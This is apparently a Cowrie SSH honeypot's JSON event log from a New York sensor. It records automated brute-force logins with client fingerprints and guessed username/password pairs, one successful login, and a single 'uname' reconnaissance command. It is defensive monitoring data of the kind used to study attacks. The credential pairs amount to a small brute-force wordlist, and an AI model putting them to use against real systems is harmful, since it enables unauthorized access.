{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:02.802757Z","src_ip":"83.168.110.85","session":"c8ee847532f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:03.417574Z","src_ip":"83.168.110.85","session":"c8ee847532f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.709316730499268,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:03.573290Z","src_ip":"176.65.139.118","session":"47fd683bc490","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:04.552766Z","src_ip":"83.168.110.85","session":"c8ee847532f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49134,"dst_ip":"10.17.0.5","dst_port":22,"session":"adb1473d3a22","protocol":"ssh","message":"New connection: 83.168.110.85:49134 (10.17.0.5:22) [session: adb1473d3a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:09.489651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:09.599654Z","src_ip":"83.168.110.85","session":"adb1473d3a22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:09.860846Z","src_ip":"83.168.110.85","session":"adb1473d3a22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:10.262623Z","src_ip":"83.168.110.85","session":"adb1473d3a22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:11.386894Z","src_ip":"83.168.110.85","session":"adb1473d3a22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39214,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d91ffc8ddbf","protocol":"ssh","message":"New connection: 83.168.110.85:39214 (10.17.0.5:22) [session: 5d91ffc8ddbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:17.074628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:17.079371Z","src_ip":"83.168.110.85","session":"5d91ffc8ddbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:17.200884Z","src_ip":"83.168.110.85","session":"5d91ffc8ddbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:17.564135Z","src_ip":"83.168.110.85","session":"5d91ffc8ddbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:18.938708Z","src_ip":"83.168.110.85","session":"5d91ffc8ddbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39220,"dst_ip":"10.17.0.5","dst_port":22,"session":"183d6ca7fbaf","protocol":"ssh","message":"New connection: 83.168.110.85:39220 (10.17.0.5:22) [session: 183d6ca7fbaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:23.889206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:23.896562Z","src_ip":"83.168.110.85","session":"183d6ca7fbaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:24.016958Z","src_ip":"83.168.110.85","session":"183d6ca7fbaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:24.383508Z","src_ip":"83.168.110.85","session":"183d6ca7fbaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":12763,"dst_ip":"159.203.135.109","dst_port":22,"session":"a42fa476c795","protocol":"ssh","message":"New connection: 2.57.121.25:12763 (159.203.135.109:22) [session: a42fa476c795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:25.194874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:25.199857Z","src_ip":"2.57.121.25","session":"a42fa476c795","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:25.306278Z","src_ip":"2.57.121.25","session":"a42fa476c795","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:25.519159Z","src_ip":"83.168.110.85","session":"183d6ca7fbaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"18011980","message":"login attempt [user/18011980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:25.802391Z","src_ip":"2.57.121.25","session":"a42fa476c795","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1801","message":"login attempt [user/1801] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:26.911011Z","src_ip":"2.57.121.25","session":"a42fa476c795","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17121989","message":"login attempt [user/17121989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:28.019369Z","src_ip":"2.57.121.25","session":"a42fa476c795","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17121975","message":"login attempt [user/17121975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:29.127903Z","src_ip":"2.57.121.25","session":"a42fa476c795","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"171185","message":"login attempt [user/171185] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:30.241440Z","src_ip":"2.57.121.25","session":"a42fa476c795","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51340,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fbc27a48953","protocol":"ssh","message":"New connection: 83.168.110.85:51340 (10.17.0.5:22) [session: 0fbc27a48953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:31.089791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:31.094452Z","src_ip":"83.168.110.85","session":"0fbc27a48953","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:31.214468Z","src_ip":"83.168.110.85","session":"0fbc27a48953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:31.349022Z","src_ip":"2.57.121.25","session":"a42fa476c795","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:31.579479Z","src_ip":"83.168.110.85","session":"0fbc27a48953","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:31.944605Z","src_ip":"83.168.110.85","session":"0fbc27a48953","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:31.948400Z","src_ip":"83.168.110.85","session":"0fbc27a48953","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:32.073843Z","src_ip":"83.168.110.85","session":"0fbc27a48953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:32.078796Z","src_ip":"83.168.110.85","session":"0fbc27a48953","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33020,"dst_ip":"10.17.0.5","dst_port":22,"session":"edab4b8869b8","protocol":"ssh","message":"New connection: 83.168.110.85:33020 (10.17.0.5:22) [session: edab4b8869b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:38.333291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:38.401682Z","src_ip":"83.168.110.85","session":"edab4b8869b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:38.455505Z","src_ip":"83.168.110.85","session":"edab4b8869b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:38.928281Z","src_ip":"83.168.110.85","session":"edab4b8869b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:40.256936Z","src_ip":"83.168.110.85","session":"edab4b8869b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":44510,"dst_ip":"10.17.0.5","dst_port":22,"session":"77a8b2bc4568","protocol":"ssh","message":"New connection: 83.168.110.85:44510 (10.17.0.5:22) [session: 77a8b2bc4568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:45.482281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:45.486863Z","src_ip":"83.168.110.85","session":"77a8b2bc4568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:45.670722Z","src_ip":"83.168.110.85","session":"77a8b2bc4568","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:46.035914Z","src_ip":"83.168.110.85","session":"77a8b2bc4568","protocol":"ssh"}
